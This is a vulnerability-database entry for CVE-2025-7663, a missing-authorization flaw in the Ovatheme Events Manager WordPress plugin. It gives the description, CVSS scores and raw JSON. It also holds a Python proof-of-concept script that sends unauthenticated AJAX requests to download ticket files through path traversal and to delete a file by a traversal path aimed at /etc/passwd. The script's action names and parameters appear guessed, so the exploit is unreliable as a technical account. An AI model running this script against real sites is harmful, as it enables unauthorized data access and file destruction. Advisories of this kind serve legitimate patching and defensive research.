Security Vulnerability Report
中文
CVE-2025-7663 CVSS 6.5 MEDIUM

CVE-2025-7663

Published: 2025-11-08 04:15:46
Last Modified: 2026-04-15 00:35:42

Description

The Ovatheme Events Manager plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on several functions in the /class-ovaem-ajax.php file in all versions up to, and including, 1.8.6. This makes it possible for unauthenticated attackers to delete ticket files, download tickets, and more.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Ovatheme Events Manager < 1.8.7
所有版本 <= 1.8.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-7663 PoC - Ovatheme Events Manager Unauthorized Access # Affected: Ovatheme Events Manager <= 1.8.6 import requests import sys TARGET_URL = "https://target-site.com/wp-admin/admin-ajax.php" def exploit_file_download(): """Exploit to download ticket files without authentication""" # Payload to trigger file download via vulnerable AJAX endpoint payload = { 'action': 'ovaem_get_ticket_download', # Vulnerable action name 'booking_id': '1', 'ticket_id': '../config' # Path traversal attempt } try: response = requests.post(TARGET_URL, data=payload, timeout=10) if response.status_code == 200: print(f"[!] Request successful - Server responded") print(f"Response length: {len(response.content)} bytes") if len(response.content) > 0: print(f"[+] Potential sensitive data exposed") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_file_deletion(): """Exploit to delete ticket files without authentication""" payload = { 'action': 'ovaem_delete_ticket_file', # Vulnerable action 'file_path': '/path/to/ticket_files/../../../etc/passwd' } try: response = requests.post(TARGET_URL, data=payload, timeout=10) if response.status_code == 200: print(f"[!] File deletion request sent") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-7663 PoC - Ovatheme Events Manager Exploit") print("=" * 50) if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"Target: {TARGET_URL}") print("\n[*] Testing file download vulnerability...") exploit_file_download() print("\n[*] Testing file deletion vulnerability...") exploit_file_deletion() print("\n[!] Note: This PoC is for educational and authorized testing purposes only.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-7663", "sourceIdentifier": "[email protected]", "published": "2025-11-08T04:15:45.597", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ovatheme Events Manager plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on several functions in the /class-ovaem-ajax.php file in all versions up to, and including, 1.8.6. This makes it possible for unauthenticated attackers to delete ticket files, download tickets, and more."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://themeforest.net/item/em4u-event-management-multipurpose-wordpress-theme/20846579", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/53f12e61-fdb0-4838-b733-fc4d7a4ff016?source=cve", "source": "[email protected]"}]}}